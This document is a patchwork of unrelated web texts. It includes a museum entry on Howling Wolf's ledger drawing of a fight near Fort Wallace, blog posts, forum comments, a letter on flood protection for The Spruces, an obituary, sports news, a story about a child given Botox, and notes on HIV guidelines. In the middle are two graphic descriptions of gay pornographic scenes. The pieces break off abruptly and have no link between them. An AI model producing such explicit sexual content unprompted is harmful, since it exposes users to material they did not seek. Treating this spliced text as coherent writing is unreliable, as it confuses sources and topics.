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Howling Wolf (Native American, Southern Cheyenne Unknown 1849 - 1927 Texas-Oklahoma)
Fight Near Ft. Wallace, ca. 1874-75
Inscribed lower left: Fight near Ft. Wallace
Stamp-numbered upper right: 42
Ink, pencil, colored pencil, crayon, and watercolor on ledger paper
Leaf: 7 15/16 x 12 3/8 in. (20.1 x 31.5 cm
Full sheet: 12 7/16 x 15 7/8 (31.5 x 40.3 cm)
Gift of Mrs. Jacob D. Cox, 1904
This drawing is one of fifty-seven ledger drawings in the AMAM collection by the Southern Cheyenne warrior and artist Howling Wolf.1 Specific and earnest in the rendering of details of costume, weaponry, hairstyle, body paint, and horse trappings, these drawings are invaluable documents of Plains history. They also reveal much about nineteenth-century Native American representational art, and an individual Native American artist's career.
Fight Near Ft. Wallace records the bravery of the Southern Cheyenne at a battle that occurred near Fort Wallace, located in the western part of what is now Kansas. Although the Southern Cheyenne made frequent raids on the fort from 1869 on, the battle recorded here probably occurred between late 1872, when raiding parties became more frequent, and early 1875, when the tribe was firmly defeated.2 It thus records one of the last battles fought by the Southern Cheyenne to preserve their land and way of life.The artist has identified himself by drawing a Howling Wolf name glyph above the leading warrior's head. He wears a feathered war bonnet and carries a Cheyenne protective shield. He has just unhorsed the Anglo at the left and touches him with his coup stick, an act considered braver than killing one's opponent. Galloping along behind Howling Wolf are five Cheyenne warriors, of varied and lesser status, carrying feathered lances, tomahawks, and sabers. The horses are also outfitted with symbolic Cheyenne accoutrements, such as shields and quirts.This drawing, as with most Native American ledger drawings, is intended to communicate significant information about tribal history and individual acts of valor rather than to render a realistic scene or to function as an aesthetic object. Howling Wolf carefully outlined his figures in ink, and then filled them in with crayons, colored pencils, and watercolor in flat opaque tones. The different headdresses and other insignia identify each warrior; the plaid pants and dress coat identify the white man; and trappings, as well as hide color and, in a few cases, dappling effects, identify each horse. The marks signifying the hoofprints of the horses, flying bullets, and blasting cannons (from behind the flagpole) add action to the scene, much in the manner of the twentieth-century comic book.
The drawing is page forty-two of a ledger that originally contained one hundred and twenty commercially numbered pages. Howling Wolf turned the ledger on its side; the original red and blue vertical margin lines run horizontally across the drawings, while faint writing guidelines run vertically. The Oberlin ledger includes twenty-nine folded sheets, most with two drawings, one on each even-numbered page.3 The drawings mostly depict battles and hunting scenes, although they also include a courting scene and two ceremonial occasions. One double-page image depicts the annual ceremony of the Sun Dance, probably that of the summer of 1874.4 Howling Wolf appears on horseback, leading a group of warriors (bottom half of drawing) into the gathering where they will fire at the rawhide human effigy suspended from the central pole of the sacred Medicine Lodge (top center of drawing).5 The end page of the Oberlin ledger depicts Howling Wolf hunting buffalo.6 Here the artist used sophisticated formal devices: foreshortening in the postures of the hunter and of the slain buffalo calf, and cropping of the buffalos to carry the action dramatically off the edge of the page.
Szabo has dated the Oberlin ledger to around 1874-75 for several reasons.7 The number 75, which appears on the frontispiece, possibly refers to a date. Howling Wolf did not become a Cheyenne warrior society leader until the late 1860s or early 1870s and would not have depicted himself as such unless he was one; hence, the earliest date for the drawings would be around 1870. U.S. government correspondence referred to him as a "desperate character" engaged in raids in 1874 and 1875.8 In the spring of 1875, he was arrested and sent to prison in Florida. The drawings he produced there represent new stylistic influences and depict different subjects.
J. S. Wilker
Howling Wolf was born around 1849 somewhere in the Plains. His father, Eagle Head, was a warrior and Southern Cheyenne council chief, who at first counciled peaceful coexistence with the Anglo world. Both Howling Wolf and his father, however, were also members of the Bowstring Society, a fraternal warrior society and strong proponent of war by the 1870s. Howling Wolf went to war as a teenager and counted his first coup in 1867. He soon attained a reputation as a brave warrior, and became a leader in his warrior society and in Cheyenne ceremonies.In 1875 Eagle Head and Howling Wolf, along with seventy other Southern Cheyenne, Arapaho, Kiowa, Comanche, and Caddo warriors and chiefs, were arrested by the federal government and sent to prison at Fort Marion in St. Augustine, Florida, while the rest of the Southern Plains people were being forced to adjust to reservation life in the Indian Territory (now Oklahoma). In Fort Marion, Howling Wolf was appointed a sergeant of the prison guard. He was an eager student and continued to create extremely accomplished drawings, which became popular items for the growing tourist trade.9 Released from prison in 1878, he wanted to stay in the East and to attend school, but his eyesight was failing. He was sent to Boston for treatment, but it was only partially successful, and in May of that year, Howling Wolf returned to the reservation in Indian Territory, where he created at least twelve ledger works.10 In an uneasy adjustment to a world that had entirely changed, he first maintained the Anglo habits he had learned in Florida. After his father's death in 1881, however, he reverted to Indian dress and customs, and argued for the rights of his people. Howling Wolf died in 1927 in an automobile accident while returning home to Oklahoma from a stint in a Houston Wild West show, where he was performing an Indian dance four times a day.
General References
Petersen, Karen Daniels. Howling Wolf: A Cheyenne Warrior's Graphic Interpretation of his People. Palo Alto, 1968.
Szabo, Joyce M. Howling Wolf: An Autobiography of a Plains Warrior-Artist. Allen Memorial Art Museum Bulletin 47, no. 1 (1992).
Szabo, Joyce M. Howling Wolf and the History of Ledger Art. Albuquerque, 1994.
Collection General John Pope (after 1874-75, when the drawings were executed, and before 1883, when he retired as Commander of the Department of the Missouri)
Collection his son, John Horton Pope (d. 1896)
By descent to his son-in-law, Jacob Dolson Cox (d. 1900), OC 1851 and 1854 (1896)
Collection his widow, Helen Finney Cox, OC 1846 (1900), by whom given to Oberlin College in 1904
Oberlin, Allen Memorial Art Museum, Oberlin College, 1978. American Indian Art of the Plains and Southeast. 11 - 30 April. No cat.
Oberlin, Allen Memorial Art Museum, Oberlin College, 1992. Howling Wolf: An Autobiography of a Plains Warrior-Artist. 2 October - 6 December (also shown at University Art Museum, University of New Mexico, Albuquerque). Unnumbered cat.
Szabo, Joyce M. "Howling Wolf: An Autobiography of a Plains Warrior-Artist," Allen Memorial Art Museum Bulletin 47, no. 1 (1992), pp. 12-13, fig. 25, and ill. color, n.p.
Technical Data
This drawing comprises a single folio from a signature originally bound as part of a ledger. The paper is printed with pink and blue ruled lines, horizontal guidelines for writing, and a stamped page number at the top right corner of the sheet. The drawing is executed in brown-black ink (probably iron gall), crayon and/or colored pencil (green, yellow, and blue), and matte and opaque tempera (ochre/raw sienna, brownish-red, and black/grey).
The ink has been applied with repeated applications to achieve the desired intensity and shows through on the verso both from original bleeding and subsequent acid-induced staining. Colored media lies on top of ink applications. There is some soiling and tarnishing from handling.
1. Joyce M. Szabo ("Ledger Art in Transition: Late Nineteenth and Early Twentieth Century Drawing and Painting on the Plains" [Ph.D. diss., University of New Mexico, 1983]) was the first to officially attribute these drawings to Howling Wolf. See also her "Howling Wolf: An Autobiography of a Plains Warrior-Artist" (Allen Memorial Art Museum Bulletin 47, no. 1 [1992]); and Howling Wolf and the History of Ledger Art (Albuquerque, 1994). This entry is based on her work.
2. The title on the drawing, "Fight near Ft. Wallace," is written in the hand of Benjamin Clark, a scout who lived in the Indian Territory from the 1860s until his death in 1914. Married to a Cheyenne woman, Clark collected many ledger drawings and passed them on to military personnel, probably including General Pope (see Provenance). On Clark, see Joyce M. Szabo, "Howling Wolf: An Autobiography of a Plains Warrior-Artist" (Allen Memorial Art Museum Bulletin 47, no. 1 [1992]), pp. 6, 21 n. 7. On the Fort Wallace raids, see Daniel J. Berthrong, The Southern Cheyennes (Norman, Okla., 1963), pp. 262-63, 282-83.
3. For reproductions of all drawings in the Oberlin ledger, see Joyce M. Szabo, "Howling Wolf: An Autobiography of a Plains Warrior-Artist" (Allen Memorial Art Museum Bulletin 47, no. 1 [1992]). The ledger was disassembled at an unknown date. Collation diagrams of the ledger were prepared by the ICA (Intermuseum Laboratory) at time of treatment in 1992 and are in the museum files.
4. Howling Wolf, Sun Dance, pp. 56 and 57 of Oberlin ledger, AMAM inv. 04.1180.10.
5. The caption, again by Clark, reads "The warriors making their grand entry into the Medicine Lodge before beginning the dance. They fire first at the image hanging from the center pole. One band has just arrived and another is approaching the Lodge."
6. Howling Wolf, Howling Wolf Hunting Buffalo, end page of Oberlin ledger, AMAM inv. 04.1180.29.
7. Joyce M. Szabo, Howling Wolf and the History of Ledger Art (Albuquerque, 1994), pp. 183-88.
8. Joyce M. Szabo, "Howling Wolf: An Autobiography of a Plains Warrior-Artist" (Allen Memorial Art Museum Bulletin 47, no. 1 [1992]), pp. 9, 23 n. 19.
9. Drawings produced by Howling Wolf at Fort Marion are in the Beinecke Rare Book and Manuscript Library, Yale University, and the New York State Library, Albany. Several are reproduced in Joyce M. Szabo, Howling Wolf and the History of Ledger Art (Albuquerque, 1994).
10. The Bourke album (Omaha, Joslyn Art Museum, inv. 1991.19) contains twelve reservation drawings; reproduced in Karen Daniels Petersen, Howling Wolf, A Cheyenne Warrior's Graphic Interpretation of his People (Palo Alto, 1968).


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By: Dr Lynda Kelly, Category: Museullaneous, Date: 19 May 2010
Attended a talk by John Falk about identity and thought might be useful to post some of the literature I reviewed in my thesis about identity generally.
An influential figure who wrote about the concept of identity in adult development and personality theory was Erik Erikson (1902-1994). Erikson proposed a theory of identity formation in childhood and adolescence that, while based on the Freudian view of development, extended Freud's ideas through recognising the role identity played across a person's adult life (Erikson, 1963). Erikson suggested that humans advanced through eight stages during their lives, with progression through levels contingent on solving some crisis. Erikson identified identity as a critical issue faced by adolescents in particular. He introduced the terms "identity crisis" and "role confusion" to explain the nexus between childhood and adulthood that needed to be resolved by a person in order to define their role and purpose in life and, ultimately, their identity as an adult (Erikson, 1963). Shaffer (1979) noted that Erikson had addressed the idea of shared identities, where individuals become intimate with others, experiencing mutual trust and an ability to care about others. Pervin (1984) suggested that Erikson made a major contribution to personality theory in three ways: by emphasising the psychosocial aspects of personality; through extending stages of development to encompass individuals entire life cycles; and in recognising that both the past and the future have a major impact on how people constructed their identities at different times in their lives.
Educational psychologists Vander Zanden and Pace (1984) applied Erikson's ideas in defining identity as: '… an individual's sense of placement within the world—the meaning one attaches to oneself as reflected in the answers one provides to the questions, "Who am I" and, "Who am I to be?"' (p.74). Atchley (1989) also drew on the work of Erikson when he suggested that identity was '… a set of characteristics that differentiates self from others and that persists over time. Identity can also be a goal through which people try to arrive at a conception of themselves as loving, competent, and good' (p.115).
A useful set of terms describing identity in adult development were articulated by Levinson (1990). The self was how a person perceived themselves; personality how a person appeared to others; and life structure the pattern of a person's life that resulted from the interaction of self, personality and external world. Levinson suggested that these were unstable and ever-changing, as both the person and the world were constantly in transition. Identity was also strongly related to the concept of the self in combination with membership of various social and cultural groups (Paris et al., 2001), as well as the cultural tools that people interacted with, such as schools, museums, films, literature or other forms of cultural engagement. Paris et al. (2001) also argued that people constantly formed, re-formed and shaped their identity in order to understand themselves '… partly in relation to their own histories and anticipated futures' (2001, p.257).
Kidd (2002) stated that identity was the way sociologists framed how individuals thought of themselves and their world. He defined identity as '… the characteristics of thinking, reflecting and self-perception that are held by people in society' (p.24). Kidd identified three forms of identity:
Sfard and Prusak (2005) proposed that individuals had multiple identities defined by the narratives, or stories people told themselves. They outlined three narrative-defined identities—first-person identity as told by the person themselves; second-person identity as told to another person; and third-person identity told by a third party to a third party. Sfard and Prusak identified two subsets of identity and narrative: '… actual identity, consisting of stories about the actual state of affairs, and designated identity, consisting of narratives presenting a state of affairs which, for one reason or another, is expected to be the case, if not now then in the future' (2005, p.18). Gee (2001) described a person's "core identity" as a combination of their many different experiences and self-perceptions: 'Being recognised as a certain "kind of person", in a given context, is what I mean … by identity' (p.99).

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Paper by Christophe Rhodes, 5 February 2004. It examines "the use of read-time feature conditionals, with particular emphasis on writing portable Common Lisp code which aspires to both forwards- and backwards-compatibility". After an introduction and an historical perspective, the paper reviews existing practices in using read-time conditionals, and provides some recommendations.
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Back by popular demand we are re-introducing the Blue Number Club dinner on Thursday, 21 April 2011 from 18h00. The dinner will be at the Vineyard Hotel and tickets are R195 per person for a three course dinner and motivational quest speaker as well as a gift from PUMA. This dinner is only open to runners, who have received their, permanent ultra blue number and their partner. Due to limited capacity - this is not an open function - and therefore we cannot accomodate (specifically block bookings) of non blue number holders.
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romko- you'd better pay attention guy, because there is lots of terrible advice on this thread.you MUST take all of the Honors/AP classes you can in high school. it is absolutely necessary that you get a 4.0. anything less will not suffice. your goal for Undergrad has to be Harvard, Yale, or Princeton. Join all of the clubs you can, try to get involved in EVERYTHING.keep up with your ukranian and augment that with learning two other unique foreign languages, perhaps arabic and chinese to be trendy.you will need to be in the 99th percentile for the SAT.study every night for at least two hours until you can get perfect scores in half the time.once in undergrad, you need to double major in something law schools respect, a good combo like math and economics, or biochemistry and political science.anything less than a 175 LSAT will screw you, so you'll need to buy all the prep books now and start practicing. take kaplan and testmasters practice courses too..once you've done all this, you should be in good shape at HYSCCN. don't even bother applying to any of the other schools, as they are only worth the time to attend if you have a full scholarship.good luck!
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I met Rick Tulka at Le Select.
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This was such a wonderful funny post!! It just delighted me, the way you shared your wacky, foodie, adventure-filled day with us. I love the bit about you getting yelled at, twice, and the smushed dessert, and the clothes, and what you ate, and all the rest of it. Thanks!
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ALL of it!
Love Rick on his bike, Carol! Just the way I imagine him there. Fun post. hope you're not too jet-lagged. Welcome home!ReplyDelete
Poor you.. I mean they sell things..people can buy them and bring them home and photo.ReplyDelete
I took photos at our local flea market of dried flower arrangements a few years ago etc to make cards to sell for the community firemen's fund..They said no:(
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Cute post:)
The last day is always so intense tying up so many loose ends! Seems you did it all though...and ate well along the way. The night before, I always pack EVERYTHING back to see if there is any room left in the suitcases! (Or do I need to buy another bag to check!)I love the shirts and the Lacroix scarves.ReplyDelete
Yikes, I wish I had half of your high-octane energy levels! You've made me tres jalouse - I badly need to plan a Paris trip, if only to get my hands on one of those divine Anne Maisonneuve tees!ReplyDelete
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how can they yell at you? Don't they realize I am waiting for your very important updates on Paris!?ReplyDelete
I love tuning in every day! I am hooked:D
You certainly can pack a lot in one day and then end up home across the pond in the same day. No wonder you crashed early. Hope you bounced back quickly. Thanks for taking us along with you.ReplyDelete
They are purple potatos Jill and kind of tasteless, but they look pretty like too many other things.ReplyDelete
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WaSP is a popular resource for people of many backgrounds, but until now we've had no clear way of knowing who it is we serve, and who we need to be devoting more attention toward. Take a moment to go complete the survey and tell us what standards mean to you, how you're using them, and what you'd like to see WaSP focus on.
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I tried submitting the form, but I got an error page. Anyone else getting that problem?
It worked just fine for me…
Indeed, it seems to be fine now.
I think this survey is a good way to get some general feedback, but I hope the WASP people realize their polling technique is totally biased. Most people who respond to the survey will already be using, or are familiar with, web standards.
Well, who is going to link to this survey? Sites about web standards, such as Mezzoblue. Nothing wrong with that, but has WASP made any effort to get the opinions of the general web development public? Perhaps a posting on Slashdot would help.
I agree with the point Trent has outlined. Only people actively interested in Web standards will visit the site. I didn't seem to be able to find a place on the page to "say what I want to say" to them. The only [textarea] available to me was to type in what you would like to see at their site; I typed my thoughts into it instead. Here's the basics of what I said:
Microsoft should not be allowed to release another version of Internet Explorer if it does not have proper support for the latest Web standards. They, and everyone else, knows they have something like 90% market share. There are various work-arounds for CSS and even HTML techniques to get around the errors and bugs or just non-standard parts of IE's code. When will they learn?
Alas, James, web standards are not legally binding. Microsoft will do what they want to, which I would describe this way :
- create lock-in phenomena by providing a browser you cannot uninstall
- create network negative externalities (such as "IE optimized" sites) by having a non-compatible browser
See what I mean ? There are two web standards :
1- the formal, W3C backed-up-by-ISO-and-ISOC ones
2- the informal, de facto standards, and Explorer is their name
What I posted in my own open-question form goes in the same direction as Trent's remark. You can read my WaSP survey opinion here : http://phnk.com/blog/index.php?2004/06/11/57-wasp-survey
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Letters: Consider Other Options to Protect Spruces
Letter to the Editor:
New Orleans, New York City and the Jersey shore in Williamstown
The modest Hoosic River is our version of the Mississippi but on a scale that is or would be so much easier and less expensive to manage than the mighty Mississippi has been for the city of New Orleans.
The hearts of Adams and North Adams were once flood plains and were devastated in the flooding in 1927 and again in 1948-49. The Army Corps then designed and built the present-day concrete "chutes" to protect those two communities which they have done admirably well ever since.
How much easier and less expensive (in inflation adjusted dollars) might it be to protect The Spruces and thus preserve that entire neighborhood?
With apologies in advance to all who have devoted countless hours in the pursuit of both affordable housing solutions for Williamstown and solutions to the flood-related problems at The Spruces, I want to emphasize that I have not been involved in these investigations and meetings other than peripherally and through occasional viewings of meetings on WilliNet. I am not an expert and I may also have missed some key fact-based discussions of the questions I am about to raise below.
First however, some heartfelt considerations. I watched the WilliNet replay of the most recent select board meeting and empathized with the two residents who spoke of their homes and their feelings. How many of us, how many board members could truly comprehend their feelings? Not one person on any boards that I saw, whether the trust or select board lives at The Spruces or to my knowledge, was flooded out of their homes in Irene.
How would anyone who currently owns their own home feel about being forced to give up their home and offered as an alternative the opportunity to live in a town-owned rental home? Some of the homes at The Spruces are modest, to be sure, and this is why they have provided an affordable option for people wanting to live in Williamstown. The concept originally conceived and built by Albert Bachand was to meet a need that existed and meet it has done, very well.
Because the park was built so long ago when mobile homes were much smaller than today, the original lots are small. The roads were never particularly well built and I'm sure the utilities are in much need of updating.
On the other hand, The Spruces is almost a village within the town of Williamstown and has provided a safe (aside from the storms that have occasionally disrupted life there) and very convenient location for the residents. They have a meeting hall, a swimming pool and a scenic location along the river.
Many years back, my mother-in-law purchased a home there when she moved from her own home two hours away. A former employee moved there from his home in Williamstown. I have sold a few of those homes for clients over the years. Some are clearly better and more modern than others. Some should be demolished regardless of the damage from Irene, and replaced with new homes but some are truly impressive.
The Spruces might yet have a future were it possible to protect the park from future flooding in a manner akin to the flood protection the cities of North Adams, Burlington, Vt., New Orleans and I dare say many other cities across the nation and in other countries have gained.
The undeniably convenient location The Spruces occupies for public transportation and walking distance to local shops, the attractive setting with views and proximity to the river and the pride of ownership felt and expressed by many owners causes me to want to ask why it might not be feasible to provide flood protection for the park so it can be kept right where it is.
We have examples right around Williamstown of other brooks and streams that have been deepened or banks raised to prevent flooding to the adjacent properties. The brook along the eastern side of the park that traverses under Route 2 and which overflows in flood conditions could be similarly deepened (it once was but has since been allowed to fill with growth). We were told also that runoff from across Route 2 in neighborhoods like Luce Road contributed to the flooding but that area drains into the same brook, I believe, and thus dealing with the brook might alleviate much of the problem, though of course not all.
What of the Lowry property idea we might then ask? The housing needs in the town have been thoughtfully evaluated and it may be that the Lowry property should be an additional option for affordable housing but just not to be thought of primarily as the site to relocate Spruces residents who would choose to remain where they are.
It appears very clear that the need for affordable housing units in Williamstown exceeds what the Lowry property could provide by itself and this seems to be an even more compelling reason to take another look at making The Spruces habitable through flood-protection measures.
All along the Jersey shore and in fact along coastlines all along the East Coast much re-evaluation is taking place as to how to protect communities. In some cases they may have to be relocated, in others housing will be modified to accommodate high-water conditions as is common along coastal Florida for example. A recent documentary on Singapore showed just how that city has adapted to far more frequent flooding conditions than we have ever experienced here or will ever likely experience.
Why in other words is it necessary to assume the relocation of The Spruces when there are countless examples of steps that have been taken to protect low-lying areas for human occupancy? Why give up a convenient and for all but extraordinary conditions, a highly suitable site for almost 300 homes?
Would it be possible for the town to acquire the site from the present owner, make the modifications to the site to prevent future flooding in the form of berms, cleaning out the brook to the east and who knows, even a pump station as is being used in New Orleans and New York City and to take over the maintenance of the streets? The town or housing authority could then offer sites for market-rate rents. It could also over time remove the older units, combine lots and build more permanent structures for rent to other residents.
Every option involves cost to be sure and the town is not capable of raising the money to solve every need or problem. However, if a different approach was taken and the determination was to save The Spruces, surely there would be grant money available to protect the site from future flooding.
My purpose was to raise some questions, the answers to which I do not have and to spark some further debate and investigation. The Spruces park is a remarkable housing resource that provided almost 300 dwelling units the replacement of which is almost impossible to foresee for our town. For this reason, I suggest we should take a fresh look at how to raise the needed funds to protect the existing park from future flooding so it can be kept and over time, upgraded as well.
As we continue to debate and ultimately decide, let us do our best to put the needs, rights, concerns and feelings of the residents and owners in the park foremost in our deliberations. After all, for those of us who do not live there, while a "politically correct" concern, it really doesn't affect us very directly.
The funds that FEMA would provide the town to assist with the purchase of the park could still be used for that purpose. The Lowry property could still be left on the table for future affordable housing needs but the costs that would have been incurred to buy out the residents of The Spruces could then be allocated toward protecting the park from future flooding and improving the infrastructure at the park.
The flooding problem at The Spruces is so microscopically small by comparison to so many other almost daunting problem areas throughout the nation and around the world that it seems to be eminently solvable if we take the position that The Spruces can and should be saved.
"Where there is a will, there is a way."
Paul Harsch
Dec. 11, 2012
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WHITE HALL � John "J. P." Paul Jones, age 80, of White Hall, died Monday, November 19, 2012.
WHITE HALL � John �J. P.� Paul Jones, age 80, of White Hall, died Monday, November 19, 2012.
Born June 7, 1932 in Sheridan, J. P. was a son of the late William Wallace Jones and Nannie Eron Wallace Jones. He graduated from Warren High School and Arkansas A&M College (now UA Monticello). He also served in the United States Army and was a Veteran of the Korean War.
Mr. Jones founded Jones, Jones, and Jones Tax Service in 1964, and operated it for 46 years until his retirement in 2010. A member of Trinity Lutheran Church, he enjoyed traveling, golfing, and playing dominoes.
He especially enjoyed doting on all of his 11 grandchildren, who adored him.
Some of the best memories were made on Greer�s Ferry Lake, where all of his family would gather for rides on the party barge, four-wheelers, and playing games, especially basketball. G-Daddy was a very special person.
Predeceasing Mr. Jones are four brothers and four sisters.
Survivors include his wife, Rosalyn Finkbeiner Jones, whom he married on February 6, 1954 at Greenville, Miss.; sons, Scotty Jones of Monticello, Chris Jones (Julie) and Dean Jones, all of Austin, Texas, John P. �Jay� Jones, Jr. of White Hall, and Mark Jones (Beth) of Russellville; daughter, Cindy Jones Monteith of Russellville; brother, Fred Jones of Mt. Ida; grandchildren Laurel Stricklin (Beau) of Honolulu, Hawaii, John Paul �Jayson� Jones, III (Scarlett) of Benton, Bryant Monteith, and Matthew, Amanda, and Douglas Jones, all of Austin, Texas, Megan Terry (Arlington) of Columbus, Miss., Anna Jones of Kingsland, Hudson and Tabor Jones of Pawleys Island, S.C., and Sammy Jones of Russellville; great-grandchildren, Paris, Cole, Tucker, and Sailor Stricklin of Honolulu, Hawaii, and Natalie Terry of Columbus, Miss.; along with his special cats, Cali and Oreo.
Memorial Services will be Friday, 2 p.m. at Trinity Lutheran Church with Pastor Dean Clausing officiating. Arrangements are by Fuller Hale-South Funeral Services.
The family will receive friends Friday from 1 p.m. until service time in the Fellowship Hall at the church.
A special thank you is extended to caregiver Linda Thomas and the staff of Russellville Nursing and Rehab Center.
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|Bobby Abreu about to be a Dodger?
What's so bad about that?
It's Bobby Abreu.
Jon Heyman of CBS Sports tweeted the Dodgers are in "serious talks" to sign Abreu after he was released by the Anaheim Angels last week.
Update (6:12 p.m.): Ken Rosenthal of FOX Sports also confirms the interest with a little more information.
"Source confirms that
#Dodgers have had talks with Abreu about being bat off bench and playing some outfield. First reported, @JonHeymanCBS"
Abreu, 38, is 5-for-24 this season with three doubles. He was unhappy about his playing time being cut, which begs the question: Why do the Dodgers want to sign him?
Granted, he'd be a much better option off the bench than say, Adam Kennedy, but so would my grandmother. If Abreu couldn't even get playing time in the American League, what makes him think he'll get playing time in the National League?
He's no longer an even halfway decent defender, so he'd be a Manny Ramirez-esque liability in left field. And he's played exactly zero games at first base in his career.
Abreu had a miserable 2011 with Anaheim, posting a .253/.353/.365 line. He has almost no power left, which is something the Dodgers sorely need. He also hasn't fared well at Dodger Stadium in his career: .227/.346/.367.
The dude can draw a walk -- ranks No. 24 in the history of baseball (1,421), but that's about all he's good for.
This reeks of Juan Rivera last season, and Ned Colletti ended up giving Rivera a $4.5 million contract after half a season with the Dodgers.
If he's content with being a pinch-hitter and maybe playing once or twice a week in left field, a minimum-salary deal might not be the worst thing in the world. However, it remains to be seen if that's the case.
This is not the big bat the Dodgers need.
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Friday, June 07, 2013 - Daniel and Radek - FULL CONTACT
Daniel and Radek - FULL CONTACT
Radek Kozel and Daniel Kutka are great friends who we paired up. We find them sharing a book and discussing it, but soon they forget about the book and start to kiss. Daniel is very eager to do more and pulls Radek's jeans down, exposing his cock and big, heavy balls. Daniel moves so that he can lick those balls. Then he starts to suck on Radek's cock which quickly grows big and hard. Daniel's mouth works hard on Radek's rigid cock, then he stands up and wanks himself, inviting Radek to suck him. Radek eagerly obliges, taking the dick in his mouth and sucking it until it is rock hard. They kiss again and take more turns on each other's cocks. Daniel then lays down and lifts his legs in the air, presenting his ass to Radek who gets down and starts to rim the hole. He gets that hole nice and wet and then rubs his cock against it before sliding it deep inside. He fucks Daniel with long, deep strokes. Daniel's dick is nice and hard and Radek is able to reach down and suck on it as he fucks his buddy. The guys are really into each other and soon they move, so that Daniel can sit of Radek's massive cock and ride it up and down. He slides all the way down on the cock and rides it real good, then Radek takes over and fucks some more. Changing position again RAdek continues to fill Daniel's ass with his cock, sliding it in and out. Daniel loves how it feels and wanks himself at the same time. Soon he is creaming all over his belly and Radek leans forward to kiss him. Then he starts fucking again building up, faster and faster until he is ready to cum too. He pulls out and shoots all over Daniel before leaning over for a final kiss. What a lovely scene from two great guys.
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The very cute Filip Cervenka came in for a shoot with the handsome David Skabeta. The guys start off by kissing and then David pushes Filip down onto his knees. Filip opens David's jeans and out flops a rather hard, big cock. Filip takes hold of that cock and wanks it a couple of times then wraps his lips around the head and starts sucking. He works on David's dick for a while, then stands up and David kisses him again, opening his jeans at the same time. It's not long before Filip is having his cock sucked too. Then leaning back on the sofa he lifts his legs so that David can finger his hot hole as he sucks him. David then rims Filip's ass a bit, and works it more with his finger before sliding his throbbing cock deep inside. He fucks Filip nice and hard, eliciting moans as he does so. The guys then move so that Filip can sit on David's fat cock and ride it. He really works his ass over that cock. David takes over and starts fucking Filip real hard. Then they move again with Filip bent over, David really pounds his hole. Filip wanks himself as he takes that big cock and is soon spurting his cream. David is ready too and quickly shoots his load over Filip's face. Filip then sucks on the spent dick to clean it off, ending a very nice scene.
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Prague appears to have dodged another very big bullet as the flooding crisis is all but over. The State of Emergency hasn't been lifted yet, but the river is way down. Skies are sunny and no rain forecast for the next several days. Unfortunately, all, or most, of the parks are still closed. Aida and I have been taking to the hill again. It's been rough going, but gets better every day. For those readers who know the neighborhood, Jazz Dock and La Tarrasa, both right on the river have been heavily damaged. La Tarrasa Restaurant has been knocked off its foundation stones and will require extensive structural repairs. Jazz Dock was completely gutted inside. Not a pretty sight. Yesterday, I met with a colleague with whom I've been working for over 20 years in Prague. He said, 'Well, we dodged another one. Who would have ever thought we'd see another five hundred year flood after only 11 years.' Now, I'll stick my head out over the block: "Don't let anyone tell you there's no global warming." I think Prague will have the weather of Scandinavia and the UK will be like Greenland. Unfortunately, Oklahoma will be like the Sarah. It's serious folks.
Leading things off today is a wonderful duo with Daniel Kutka and Radek Kozel. Then we have Zdenek Tlucek's erotic video, Viky Scot's session stills and the fully remastered Scene 4 from Inside Jirka Gregor.
Our castees today look very good too. They are Daniel Just, Roman Rezek and Sudan Ahmed. Three guys who all have a very different look but all are good. My pick for today will go to Daniel Just.
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Seriously? The Sun reports that 34-year-old Kerry Campbell gives her daughter Britney waxes and Botox and lip injections so she can stand out beauty pageants. Britney, by the way, is only 8 years old.
Plus: Teen Star Gets Botox to Prep for Glee
The UK-based beautician and single mom injects her daughter with fillers every three months to smooth out the wrinkles that could damage the career Campbell knows Britney will have when she grows up. "When she's a superstar earning millions, she'll thank me for what I did when she was younger," she explained. In the U.S., only licensed doctors and nurses are allowed to administer these kinds of injections because they're extremely toxic (Botox is made from a bacteria that's a lot like the kind found in bad meat). Campbell definitely has her daughter's safety in mind, though; she tests the injections on herself first.
Britney's not bothered by her treatments. Sure, the injections and waxes—including a "virgin wax" to get rid of the pubic hair she doesn't have yet—make her cry, but Britney wants to be pretty and famous. And they make her feel grown-up.
Without getting on my gender studies soap box, I have to say I worry about what's ahead for little Britney's psyche when, at 8 years old, she's already being told her looks are her greatest asset. Plenty of parents entertain fantasies of fame and fortune for their kids, but it's another thing entirely to literally groom a child to be famous by any means necessary. When did it stop being enough to want your kids to just be happy?


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Cuadrado agent denies Barca pressure
Juan Cuadrado's agent has categorically rejected claims that Barcelona have been putting pressure on him and the Fiorentina winger to force a move to the Primera Division club.
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Barcelona's interest in the Colombia international has been widely reported, but agent Alessandro Lucci says discussions and negotiations over a proposed move have and will always be conducted fairly.
He stressed that reports Barca want the player to force his way out by refusing to return to the club after the World Cup could not be further from the truth.
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"It's part of my way of being that I don't talk about my clients, but seeing the media interest has been so big that it could turn into a tsunami, I feel obliged to intervene and explain how things are, and I hope that this will be my first and last dealing with the media on this subject," Lucci told TMW.
"With Barcelona, as is the case with other clubs, I have been in direct contact for a while now. They have expressed their interest, but as yet there have not been any actual negotiations, be it with Barcelona or with any other club.
"The Catalan club are represented by serious, professional people who, in the conversations we have had, have never -- and I underline 'never' -- expressed that they would like to use such strategies. And then there is something else I would like to clarify.
"With everybody at Fiorentina, my personal and professional relationship, and that of Cuadrado, is extremely good. Should there ever be, in the near future, any major negotiations, they will be analysed and, if necessary, guided to a conclusion in a way that would be satisfying to all the interested parties."
Cuadrado is due to return to Florence next week, when there will be a meeting between the player, his agent and club representatives.
The Viola are keen on keeping hold of Cuadrado -- who has also been linked with Manchester United -- but the club's director of sport, Daniele Prade, told Sky Sport Italia they would not accept less than 50 million euros for him if he were to leave.
He added: "Only then, and I say this without hypocrisy, could we discuss it. We hope that Cuadrado continues playing for us. We have not yet received an official offer for him and we remain in constant contact with the player and his agent, and when he returns on Aug. 4-5, we will talk about it."
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May 8, 2013
Paul E. Sax, M.D., is director of the HIV Program and Division of Infectious Diseases at Brigham and Women's Hospital in Boston.
Some very hard-working folks at the NIH, CDC and IDSA have updated the Guidelines for the Prevention and Treatment of Opportunistic Infections in HIV-Infected Adults and Adolescents, which are available for review here.
As with the previous versions (the prior iteration is from 2009), the OI Guidelines are comprehensive, exhaustively referenced (184 references for TB alone!), and authoritative. Note that the PDF version weighs in at 416 pages, so I doubt many people will be printing this out and carrying it around in their white coats. Fortunately, for the first time these Guidelines are also available in their entirety online in an HTML version, which is undoubtedly how most will access them, and certainly make them easier to update.
After a quick review (no, I have not read all 416 pages quite yet), here are a few of the notable changes, plus a couple of miscellaneous comments:
At the end of the document, there are several summary tables as well as this clear and useful figure with the recommended immunizations (click to enlarge):
So I do have a few small quibbles/queries, but they are minor. Namely:
